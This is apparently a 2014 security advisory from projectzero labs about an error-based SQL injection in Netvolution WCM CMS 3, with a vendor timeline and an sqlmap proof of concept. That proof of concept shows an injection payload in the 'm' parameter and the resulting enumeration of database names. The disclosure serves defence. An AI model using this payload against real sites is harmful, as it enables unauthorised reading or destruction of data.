Netvolution WCM CMS 3 SQL Injection

`# Exploit Title: Netvolution WCM - CMS v3 SQL Injection  
# Exploit Type: Error-based SQL injection  
# Date: Sun 02 Mar 2014  
# Exploit Author: projectzero labs  
# Projectzero ID: projectzero2014-002-netvolutionsqli  
# Vendor Homepage: http://www.netvolution.net && http://www.atcom.gr  
# Version: 3 (as vendor comfirmed)  
  
About the Software:  
===================  
  
Netvolution is a very popular commercial CMS developed by Atcom, Greece.  
Many high traffic greek sites use various versions of Netvolution WCM.  
  
Vulnerability Details:  
======================  
  
Projectzero labs identified an "Error-based SQL injection" a the  
parameter m. The attacker can remotely inject sql code and execute  
queries in order to alter, insert or destroy data. That kind of attacks  
can lead to data loss and/or server take over.  
  
Vendor confirmed the vulnerability and advised owners of Netvolution powered  
sites to check the running version of the CMS and update to a  
newer one.  
  
Proof of Concept:  
=================  
sqlmap output:  
  
Place: Get  
Parameter: m  
Type: error-based  
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING  
clause  
Payload: m=siteModules.evenCalendarAjax' AND  
3829=CONVERT(INT,(SELECT CHAR(113)+CHAR(114)... CHAR(115)+CHAR(112)))  
AND 'test'='test&pid=33&lang=2&d=  
  
[HH:MM:SS] [INFO] the back-end DBMS is Microsoft SQL Server  
web server operating system: Windows 2003  
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.5  
back-end DBMS: Microsoft SQL Server 2005  
  
[HH:MM:SS] [INFO] fetching database names  
[HH:MM:SS] [INFO] the SQL query used returns 196 entries  
[HH:MM:SS] [INFO] retrieved: A......  
[HH:MM:SS] [INFO] retrieved: A......  
[HH:MM:SS] [INFO] retrieved: A......  
...  
[HH:MM:SS] [INFO] fetching tables for databases: A...,A....,A... ...  
  
  
Risk:  
=====  
High  
  
Timeline:  
=========  
~Vendor Contact: 18/1/2014 (no reply)  
26/2/2014 (confirmed)  
  
Credits:  
========  
projectzero labs  
[email protected]  
http://projectzero.gr  
_) |  
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